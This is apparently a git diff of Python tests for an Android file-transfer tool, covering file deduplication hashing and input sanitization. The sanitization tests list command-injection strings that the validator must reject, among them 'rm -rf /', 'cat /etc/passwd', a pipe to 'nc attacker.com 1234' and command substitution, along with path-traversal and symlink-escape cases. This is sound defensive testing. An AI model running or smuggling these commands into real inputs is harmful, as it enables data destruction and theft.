@patch("os.path.isfile", return_value=True)
def test_compute_local_file_hash_small_file(
self, mock_isfile, mock_file, deduplicator
):
"""Test file hash computation for small file."""
expected_hash = hashlib.sha256(b'test file content').hexdigest()
result = deduplicator.compute_local_file_hash('/fake/path/file.txt')
expected_hash = hashlib.sha256(b"test file content").hexdigest()
result = deduplicator.compute_local_file_hash("/fake/path/file.txt")
assert result == expected_hash
mock_file.assert_called_once_with('/fake/path/file.txt', 'rb')
mock_isfile.assert_called_once_with('/fake/path/file.txt')
@patch('builtins.open', new_callable=mock_open)
@patch('os.path.isfile', return_value=True)
def test_compute_local_file_hash_large_file(self, mock_isfile, mock_file, deduplicator_with_callbacks):
mock_file.assert_called_once_with("/fake/path/file.txt", "rb")
mock_isfile.assert_called_once_with("/fake/path/file.txt")
@patch("builtins.open", new_callable=mock_open)
@patch("os.path.isfile", return_value=True)
def test_compute_local_file_hash_large_file(
self, mock_isfile, mock_file, deduplicator_with_callbacks
):
"""Test file hash computation for large file with progress updates."""
deduplicator, status_callback, progress_callback = deduplicator_with_callbacks
# Mock reading chunks
mock_file.return_value.__enter__.return_value.read.side_effect = [
b'chunk1' * 1000, # First chunk
b'chunk2' * 1000, # Second chunk
b'', # EOF
b"chunk1" * 1000, # First chunk
b"chunk2" * 1000, # Second chunk
b"", # EOF
]
result = deduplicator.compute_local_file_hash('/fake/path/largefile.txt')
result = deduplicator.compute_local_file_hash("/fake/path/largefile.txt")
# Should return a valid hash
assert isinstance(result, str)
assert len(result) == 64 # SHA256 hex digest length
@patch('os.path.isfile', return_value=False)
@patch("os.path.isfile", return_value=False)
def test_compute_local_file_hash_nonexistent_file(self, mock_isfile, deduplicator):
"""Test file hash computation for nonexistent file."""
result = deduplicator.compute_local_file_hash('/fake/nonexistent/file.txt')
result = deduplicator.compute_local_file_hash("/fake/nonexistent/file.txt")
assert result is None
mock_isfile.assert_called_once_with('/fake/nonexistent/file.txt')
@patch('builtins.open', side_effect=PermissionError("Permission denied"))
@patch('os.path.isfile', return_value=True)
def test_compute_local_file_hash_permission_error(self, mock_isfile, mock_file, deduplicator):
mock_isfile.assert_called_once_with("/fake/nonexistent/file.txt")
@patch("builtins.open", side_effect=PermissionError("Permission denied"))
@patch("os.path.isfile", return_value=True)
def test_compute_local_file_hash_permission_error(
self, mock_isfile, mock_file, deduplicator
):
"""Test file hash computation with permission error."""
result = deduplicator.compute_local_file_hash('/fake/protected/file.txt')
result = deduplicator.compute_local_file_hash("/fake/protected/file.txt")
assert result is None
def test_check_files_identical_same_hash(self, deduplicator):
"""Test file comparison with identical hashes."""
with patch.object(deduplicator, 'compute_local_file_hash') as mock_hash:
mock_hash.return_value = 'abc123'
with patch.object(deduplicator, 'compute_remote_file_hash') as mock_remote_hash:
mock_remote_hash.return_value = 'abc123'
result = deduplicator.check_files_identical('/file1.txt', '/file2.txt')
with patch.object(deduplicator, "compute_local_file_hash") as mock_hash:
mock_hash.return_value = "abc123"
with patch.object(
deduplicator, "compute_remote_file_hash"
) as mock_remote_hash:
mock_remote_hash.return_value = "abc123"
result = deduplicator.check_files_identical("/file1.txt", "/file2.txt")
assert result is True
def test_check_files_identical_different_hash(self, deduplicator):
"""Test file comparison with different hashes."""
with patch.object(deduplicator, 'compute_local_file_hash') as mock_hash:
mock_hash.return_value = 'abc123'
with patch.object(deduplicator, 'compute_remote_file_hash') as mock_remote_hash:
mock_remote_hash.return_value = 'def456'
result = deduplicator.check_files_identical('/file1.txt', '/file2.txt')
with patch.object(deduplicator, "compute_local_file_hash") as mock_hash:
mock_hash.return_value = "abc123"
with patch.object(
deduplicator, "compute_remote_file_hash"
) as mock_remote_hash:
mock_remote_hash.return_value = "def456"
result = deduplicator.check_files_identical("/file1.txt", "/file2.txt")
assert result is False
def test_check_files_identical_one_hash_none(self, deduplicator):
"""Test file comparison with one hash being None."""
with patch.object(deduplicator, 'compute_local_file_hash') as mock_hash:
mock_hash.return_value = 'abc123'
with patch.object(deduplicator, 'compute_remote_file_hash') as mock_remote_hash:
with patch.object(deduplicator, "compute_local_file_hash") as mock_hash:
mock_hash.return_value = "abc123"
with patch.object(
deduplicator, "compute_remote_file_hash"
) as mock_remote_hash:
mock_remote_hash.return_value = None
result = deduplicator.check_files_identical('/file1.txt', '/file2.txt')
result = deduplicator.check_files_identical("/file1.txt", "/file2.txt")
assert result is False
def test_check_files_identical_both_hashes_none(self, deduplicator):
"""Test file comparison with both hashes being None."""
with patch.object(deduplicator, 'compute_local_file_hash') as mock_hash:
with patch.object(deduplicator, "compute_local_file_hash") as mock_hash:
mock_hash.return_value = None
with patch.object(deduplicator, 'compute_remote_file_hash') as mock_remote_hash:
with patch.object(
deduplicator, "compute_remote_file_hash"
) as mock_remote_hash:
mock_remote_hash.return_value = None
result = deduplicator.check_files_identical('/file1.txt', '/file2.txt')
result = deduplicator.check_files_identical("/file1.txt", "/file2.txt")
assert result is False
@patch('os.path.exists')
@patch('os.listdir')
@patch('os.path.isfile')
def test_build_local_file_hash_map(self, mock_isfile, mock_listdir, mock_exists, deduplicator):
@patch("os.path.exists")
@patch("os.listdir")
@patch("os.path.isfile")
def test_build_local_file_hash_map(
self, mock_isfile, mock_listdir, mock_exists, deduplicator
):
"""Test getting local file hashes from directory."""
mock_exists.return_value = True
mock_listdir.return_value = ['file1.txt', 'file2.jpg', 'subdir']
mock_isfile.side_effect = lambda x: not x.endswith('subdir')
file_paths = ['/fake/directory/file1.txt', '/fake/directory/file2.jpg']
with patch.object(deduplicator, 'compute_local_file_hash') as mock_hash:
mock_hash.side_effect = ['hash1', 'hash2']
mock_listdir.return_value = ["file1.txt", "file2.jpg", "subdir"]
mock_isfile.side_effect = lambda x: not x.endswith("subdir")
file_paths = ["/fake/directory/file1.txt", "/fake/directory/file2.jpg"]
with patch.object(deduplicator, "compute_local_file_hash") as mock_hash:
mock_hash.side_effect = ["hash1", "hash2"]
result = deduplicator.build_local_file_hash_map(file_paths)
expected = {
'/fake/directory/file1.txt': 'hash1',
'/fake/directory/file2.jpg': 'hash2'
"/fake/directory/file1.txt": "hash1",
"/fake/directory/file2.jpg": "hash2",
}
assert result == expected
@patch('os.path.exists', return_value=False)
def test_build_local_file_hash_map_nonexistent_files(self, mock_exists, deduplicator):
@patch("os.path.exists", return_value=False)
def test_build_local_file_hash_map_nonexistent_files(
self, mock_exists, deduplicator
):
"""Test getting local file hashes from nonexistent files."""
result = deduplicator.build_local_file_hash_map(['/fake/nonexistent'])
result = deduplicator.build_local_file_hash_map(["/fake/nonexistent"])
assert result == {}
def test_find_duplicate_files_with_duplicates(self, deduplicator):
"""Test finding duplicates when duplicates exist."""
local_files = ['/local/file1.txt', '/local/file2.jpg', '/local/file3.txt']
remote_files = ['/remote/remote1.txt', '/remote/remote2.jpg', '/remote/remote3.txt']
with patch.object(deduplicator, 'build_local_file_hash_map') as mock_local:
with patch.object(deduplicator, 'build_remote_file_hash_map') as mock_remote:
local_files = ["/local/file1.txt", "/local/file2.jpg", "/local/file3.txt"]
remote_files = [
"/remote/remote1.txt",
"/remote/remote2.jpg",
"/remote/remote3.txt",
]
with patch.object(deduplicator, "build_local_file_hash_map") as mock_local:
with patch.object(
deduplicator, "build_remote_file_hash_map"
) as mock_remote:
mock_local.return_value = {
'/local/file1.txt': 'hash1',
'/local/file2.jpg': 'hash2',
'/local/file3.txt': 'hash3'
"/local/file1.txt": "hash1",
"/local/file2.jpg": "hash2",
"/local/file3.txt": "hash3",
}
mock_remote.return_value = {
'/remote/remote1.txt': 'hash1', # Duplicate of file1.txt
'/remote/remote2.jpg': 'hash4', # Unique
'/remote/remote3.txt': 'hash3' # Duplicate of file3.txt
"/remote/remote1.txt": "hash1", # Duplicate of file1.txt
"/remote/remote2.jpg": "hash4", # Unique
"/remote/remote3.txt": "hash3", # Duplicate of file3.txt
}
files_to_transfer, duplicates = deduplicator.find_duplicate_files(
local_files, remote_files, is_remote_target=True)
local_files, remote_files, is_remote_target=True
)
# Should find 2 duplicates: file1.txt and file3.txt
assert len(duplicates) == 2
assert '/local/file1.txt' in duplicates
assert '/local/file3.txt' in duplicates
assert "/local/file1.txt" in duplicates
assert "/local/file3.txt" in duplicates
# file2.jpg should be transferred since it's not a duplicate
assert len(files_to_transfer) == 1
assert '/local/file2.jpg' in files_to_transfer
assert "/local/file2.jpg" in files_to_transfer
def test_find_duplicate_files_no_duplicates(self, deduplicator):
"""Test finding duplicates when no duplicates exist."""
local_files = ['/local/file1.txt', '/local/file2.jpg']
remote_files = ['/remote/remote1.txt', '/remote/remote2.jpg']
with patch.object(deduplicator, 'build_local_file_hash_map') as mock_local:
with patch.object(deduplicator, 'build_remote_file_hash_map') as mock_remote:
local_files = ["/local/file1.txt", "/local/file2.jpg"]
remote_files = ["/remote/remote1.txt", "/remote/remote2.jpg"]
with patch.object(deduplicator, "build_local_file_hash_map") as mock_local:
with patch.object(
deduplicator, "build_remote_file_hash_map"
) as mock_remote:
mock_local.return_value = {
'/local/file1.txt': 'hash1',
'/local/file2.jpg': 'hash2'
"/local/file1.txt": "hash1",
"/local/file2.jpg": "hash2",
}
mock_remote.return_value = {
'/remote/remote1.txt': 'hash3',
'/remote/remote2.jpg': 'hash4'
"/remote/remote1.txt": "hash3",
"/remote/remote2.jpg": "hash4",
}
files_to_transfer, duplicates = deduplicator.find_duplicate_files(
local_files, remote_files, is_remote_target=True)
local_files, remote_files, is_remote_target=True
)
assert duplicates == []
assert files_to_transfer == local_files
def test_find_duplicate_files_empty_collections(self, deduplicator):
"""Test finding duplicates with empty collections."""
files_to_transfer, duplicates = deduplicator.find_duplicate_files([], [])
@@ -227,66 +259,66 @@ class TestFileDeduplicator:
class TestFileDeduplicatorIntegration:
"""Integration tests for FileDeduplicator with real files."""
def test_real_file_hash_computation(self):
"""Test hash computation with real temporary files."""
deduplicator = FileDeduplicator()
# Create temporary files with known content
with tempfile.NamedTemporaryFile(mode='w', delete=False) as tf1:
with tempfile.NamedTemporaryFile(mode="w", delete=False) as tf1:
tf1.write("test content 1")
temp_file1 = tf1.name
with tempfile.NamedTemporaryFile(mode='w', delete=False) as tf2:
with tempfile.NamedTemporaryFile(mode="w", delete=False) as tf2:
tf2.write("test content 1") # Same content
temp_file2 = tf2.name
with tempfile.NamedTemporaryFile(mode='w', delete=False) as tf3:
with tempfile.NamedTemporaryFile(mode="w", delete=False) as tf3:
tf3.write("test content 2") # Different content
temp_file3 = tf3.name
try:
hash1 = deduplicator.compute_local_file_hash(temp_file1)
hash2 = deduplicator.compute_local_file_hash(temp_file2)
hash3 = deduplicator.compute_local_file_hash(temp_file3)
# Same content should have same hash
assert hash1 == hash2
# Different content should have different hash
assert hash1 != hash3
# Test file comparison - since check_files_identical expects local/remote,
# we'll just compare hashes directly for local files
assert hash1 == hash2 # Same files should have same hash
assert hash1 != hash3 # Different files should have different hash
finally:
# Clean up
os.unlink(temp_file1)
os.unlink(temp_file2)
os.unlink(temp_file3)
def test_real_directory_hash_computation(self):
"""Test directory hash computation with real temporary directory."""
deduplicator = FileDeduplicator()
# Create temporary directory with files
with tempfile.TemporaryDirectory() as temp_dir:
file1_path = os.path.join(temp_dir, 'file1.txt')
file2_path = os.path.join(temp_dir, 'file2.txt')
with open(file1_path, 'w') as f1:
file1_path = os.path.join(temp_dir, "file1.txt")
file2_path = os.path.join(temp_dir, "file2.txt")
with open(file1_path, "w") as f1:
f1.write("content 1")
with open(file2_path, 'w') as f2:
with open(file2_path, "w") as f2:
f2.write("content 2")
hashes = deduplicator.build_local_file_hash_map([file1_path, file2_path])
assert file1_path in hashes
assert file2_path in hashes
assert len(hashes) == 2
assert hashes[file1_path] != hashes[file2_path]
if __name__ == '__main__':
pytest.main([__file__])
if __name__ == "__main__":
pytest.main([__file__])
+380
View File
@@ -0,0 +1,380 @@
"""
Tests for security utilities - input sanitization and validation.
"""
import os
import pytest
from src.utils.security_utils import (
sanitize_path_component,
sanitize_android_path,
sanitize_local_path,
validate_device_id,
)
class TestSanitizePathComponent:
"""Tests for sanitize_path_component function."""
def test_valid_component(self):
"""Test that valid path components are accepted."""
assert sanitize_path_component("file.txt") == "file.txt"
assert sanitize_path_component("folder") == "folder"
assert sanitize_path_component("my_file-2.txt") == "my_file-2.txt"
def test_empty_component(self):
"""Test that empty components are rejected."""
with pytest.raises(ValueError, match="Path component cannot be empty"):
sanitize_path_component("")
def test_dangerous_chars(self):
"""Test that dangerous characters are rejected."""
dangerous_chars = [";", "|", "&", "$", "`", "\n", "\r", ">", "<", "(", ")"]
for char in dangerous_chars:
with pytest.raises(ValueError, match="dangerous character"):
sanitize_path_component(f"file{char}name.txt")
def test_command_substitution(self):
"""Test that command substitution patterns are rejected."""
with pytest.raises(ValueError, match="dangerous character"):
sanitize_path_component("file$(whoami).txt")
with pytest.raises(ValueError, match="dangerous character"):
sanitize_path_component("file${USER}.txt")
def test_null_byte(self):
"""Test that null bytes are rejected."""
with pytest.raises(ValueError, match="null byte"):
sanitize_path_component("file\x00name.txt")
class TestSanitizeAndroidPath:
"""Tests for sanitize_android_path function."""
def test_valid_absolute_path(self):
"""Test that valid absolute paths are accepted."""
assert sanitize_android_path("/sdcard/Download") == "/sdcard/Download"
assert sanitize_android_path("/data/local/tmp") == "/data/local/tmp"
def test_valid_relative_path(self):
"""Test that valid relative paths are accepted."""
assert sanitize_android_path("./folder/file.txt") == "./folder/file.txt"
def test_path_with_spaces(self):
"""Test that paths with spaces are allowed."""
assert (
sanitize_android_path("/sdcard/My Photos/vacation.jpg")
== "/sdcard/My Photos/vacation.jpg"
)
assert (
sanitize_android_path("/sdcard/DCIM/Camera Roll/IMG_001.jpg")
== "/sdcard/DCIM/Camera Roll/IMG_001.jpg"
)
def test_empty_path(self):
"""Test that empty paths are rejected."""
with pytest.raises(ValueError, match="Path cannot be empty"):
sanitize_android_path("")
def test_null_byte(self):
"""Test that null bytes are rejected."""
with pytest.raises(ValueError, match="null byte"):
sanitize_android_path("/sdcard/file\x00.txt")
def test_command_injection_semicolon(self):
"""Test that semicolon command injection is blocked."""
with pytest.raises(ValueError, match="dangerous pattern"):
sanitize_android_path("/sdcard/file; rm -rf /")
def test_command_injection_pipe(self):
"""Test that pipe command injection is blocked."""
with pytest.raises(ValueError, match="dangerous pattern"):
sanitize_android_path("/sdcard/file | cat /etc/passwd")
def test_command_injection_ampersand(self):
"""Test that ampersand command injection is blocked."""
with pytest.raises(ValueError, match="dangerous pattern"):
sanitize_android_path("/sdcard/file && malicious")
def test_command_substitution(self):
"""Test that command substitution is blocked."""
with pytest.raises(ValueError, match="dangerous pattern"):
sanitize_android_path("/sdcard/$(whoami)")
with pytest.raises(ValueError, match="dangerous pattern"):
sanitize_android_path("/sdcard/${USER}")
def test_backtick_substitution(self):
"""Test that backtick command substitution is blocked."""
with pytest.raises(ValueError, match="dangerous pattern"):
sanitize_android_path("/sdcard/`whoami`")
class TestSanitizeLocalPath:
"""Tests for sanitize_local_path function."""
def test_valid_absolute_path(self):
"""Test that valid absolute paths are normalized."""
result = sanitize_local_path("/tmp/test")
assert os.path.isabs(result)
def test_empty_path(self):
"""Test that empty paths are rejected."""
with pytest.raises(ValueError, match="Path cannot be empty"):
sanitize_local_path("")
def test_null_byte(self):
"""Test that null bytes are rejected."""
with pytest.raises(ValueError, match="null byte"):
sanitize_local_path("/tmp/file\x00.txt")
def test_path_traversal_with_base_dir(self):
"""Test that path traversal outside base_dir is blocked."""
base = "/tmp/safe"
with pytest.raises(ValueError, match="outside base directory"):
sanitize_local_path("/tmp/unsafe", base_dir=base)
def test_valid_path_within_base_dir(self):
"""Test that paths within base_dir are accepted."""
base = "/tmp/safe"
result = sanitize_local_path("/tmp/safe/subdir", base_dir=base)
# result is an absolute path, so we need to compare absolute versions
base_abs = os.path.abspath(base)
assert result.startswith(base_abs)
def test_path_normalization(self):
"""Test that paths with .. are normalized."""
result = sanitize_local_path("/tmp/test/../other")
assert ".." not in result
def test_nonexistent_path_with_allow_nonexistent(self):
"""Test that non-existent paths are allowed with allow_nonexistent=True."""
# This path likely doesn't exist
nonexistent = "/tmp/nonexistent_dir_12345/subdir/file.txt"
result = sanitize_local_path(nonexistent, allow_nonexistent=True)
# Should return absolute path even if it doesn't exist
assert os.path.isabs(result)
assert "nonexistent_dir_12345" in result
def test_existing_path_resolves_symlinks(self):
"""Test that existing paths still resolve symlinks."""
import tempfile
with tempfile.TemporaryDirectory() as tmpdir:
# Create a real directory
real_dir = os.path.join(tmpdir, "real")
os.makedirs(real_dir)
# Create a symlink to it
link_path = os.path.join(tmpdir, "link")
os.symlink(real_dir, link_path)
# With allow_nonexistent=True, existing paths should still resolve symlinks
result = sanitize_local_path(link_path, allow_nonexistent=True)
# Result should be the real path, not the symlink
assert "real" in result
assert result == os.path.realpath(link_path)
def test_nonexistent_path_strict_mode(self):
"""Test that strict mode (allow_nonexistent=False) works for existing paths."""
import tempfile
with tempfile.TemporaryDirectory() as tmpdir:
# Test with existing directory
result = sanitize_local_path(tmpdir, allow_nonexistent=False)
assert os.path.isabs(result)
class TestValidateDeviceId:
"""Tests for validate_device_id function."""
def test_valid_device_id(self):
"""Test that valid device IDs are accepted."""
assert validate_device_id("ABC123") == "ABC123"
assert validate_device_id("192.168.1.1:5555") == "192.168.1.1:5555"
assert validate_device_id("emulator-5554") == "emulator-5554"
def test_empty_device_id(self):
"""Test that empty device IDs are rejected."""
with pytest.raises(ValueError, match="Device ID cannot be empty"):
validate_device_id("")
def test_invalid_characters(self):
"""Test that invalid characters are rejected."""
dangerous_chars = [";", "|", "&", "$", "`", "\n", "\r", " ", ">", "<"]
for char in dangerous_chars:
with pytest.raises(ValueError):
validate_device_id(f"device{char}123")
class TestSecurityIntegration:
"""Integration tests for security utilities."""
def test_prevent_command_injection_in_path(self):
"""Test that common command injection attempts are blocked."""
malicious_paths = [
"/sdcard/file; rm -rf /",
"/sdcard/file && cat /etc/passwd",
"/sdcard/file | nc attacker.com 1234",
"/sdcard/$(malicious_command)",
"/sdcard/`whoami`",
"/sdcard/file\nmalicious_command",
]
for path in malicious_paths:
with pytest.raises(ValueError):
sanitize_android_path(path)
def test_prevent_path_traversal(self):
"""Test that path traversal attempts are detected."""
base = "/tmp/restricted"
with pytest.raises(ValueError):
sanitize_local_path("/etc/passwd", base_dir=base)
def test_symlink_attack_prevention(self):
"""Test that symlink-based path traversal is blocked."""
import tempfile
with tempfile.TemporaryDirectory() as tmpdir:
# Create a base directory
base_dir = os.path.join(tmpdir, "safe")
os.makedirs(base_dir)
# Create a directory outside the base
outside_dir = os.path.join(tmpdir, "outside")
os.makedirs(outside_dir)
# Create a symlink inside the base that points outside
symlink_path = os.path.join(base_dir, "escape")
os.symlink(outside_dir, symlink_path)
# Attempt to use the symlink should fail base_dir validation
with pytest.raises(ValueError, match="outside base directory"):
sanitize_local_path(symlink_path, base_dir=base_dir)
class TestUnicodeAndEdgeCases:
"""Tests for Unicode characters, long paths, and cross-platform handling."""
def test_unicode_characters_in_android_path(self):
"""Test that Unicode characters are accepted in Android paths."""
# Common Unicode characters in filenames
unicode_paths = [
"/sdcard/照片/vacation.jpg", # Chinese
"/sdcard/Фото/image.png", # Russian
"/sdcard/صور/photo.jpg", # Arabic
"/sdcard/🎉/emoji.txt", # Emoji
"/sdcard/Ménü/file.txt", # Accented characters
]
for path in unicode_paths:
result = sanitize_android_path(path)
assert result == path
def test_unicode_characters_in_path_component(self):
"""Test that Unicode characters are accepted in path components."""
unicode_components = [
"文件.txt", # Chinese
"файл.doc", # Russian
"ملف.pdf", # Arabic
"archivo_español.txt", # Spanish
]
for component in unicode_components:
result = sanitize_path_component(component)
assert result == component
def test_very_long_android_path(self):
"""Test that very long paths are handled correctly."""
# Create a path with many nested directories
long_path = "/sdcard/" + "/".join([f"dir{i}" for i in range(100)]) + "/file.txt"
result = sanitize_android_path(long_path)
assert result == long_path
def test_very_long_path_component(self):
"""Test that very long path components are accepted."""
# Android typically supports filenames up to 255 characters
long_component = "a" * 255
result = sanitize_path_component(long_component)
assert result == long_component
def test_extremely_long_path_component(self):
"""Test that extremely long path components are accepted."""
# Test a 1000 character filename
very_long_component = "x" * 1000
result = sanitize_path_component(very_long_component)
assert result == very_long_component
def test_local_path_windows_style(self):
"""Test that Windows-style paths are normalized correctly."""
import platform
if platform.system() == "Windows":
# Windows paths should be normalized
result = sanitize_local_path("C:\\Users\\Test\\Documents")
assert os.path.isabs(result)
assert "\\" in result or "/" in result # May be normalized
def test_local_path_unix_style(self):
"""Test that Unix-style paths are normalized correctly."""
result = sanitize_local_path("/tmp/test/file.txt")
assert os.path.isabs(result)
def test_local_path_with_mixed_separators(self):
"""Test that paths with mixed separators are normalized."""
import platform
if platform.system() == "Windows":
# Windows should handle mixed separators
mixed_path = "C:/Users\\Test/Documents"
result = sanitize_local_path(mixed_path)
assert os.path.isabs(result)
def test_android_path_with_spaces_and_unicode(self):
"""Test paths with both spaces and Unicode characters."""
path = "/sdcard/My Photos 照片/vacation 2023.jpg"
result = sanitize_android_path(path)
assert result == path
def test_device_id_with_port_number(self):
"""Test device IDs with port numbers (emulators and network devices)."""
device_ids = [
"192.168.1.100:5555",
"10.0.2.15:5037",
"emulator-5554",
"emulator-5556",
]
for device_id in device_ids:
result = validate_device_id(device_id)
assert result == device_id
def test_device_id_serial_numbers(self):
"""Test various device serial number formats."""
device_ids = [
"ABC123DEF456",
"ZX1G427QK9",
"R5CR40CPDXD",
"ce12160c1a2d0b1f01",
]
for device_id in device_ids:
result = validate_device_id(device_id)
assert result == device_id
def test_path_component_with_dots(self):
"""Test that legitimate dots in filenames are allowed."""
components = [
"file.name.with.dots.txt",
"archive.tar.gz",
".hidden",
"..hidden_but_safe", # Double dot NOT used for traversal
]
for component in components:
result = sanitize_path_component(component)
assert result == component
def test_android_path_normalization_preserves_intent(self):
"""Test that path normalization preserves the original intent."""
paths = [
"/sdcard/DCIM/Camera",
"/data/local/tmp",
"/storage/emulated/0/Download",
"./relative/path/file.txt",
]
for path in paths:
result = sanitize_android_path(path)
# Should preserve the original path structure
assert result == path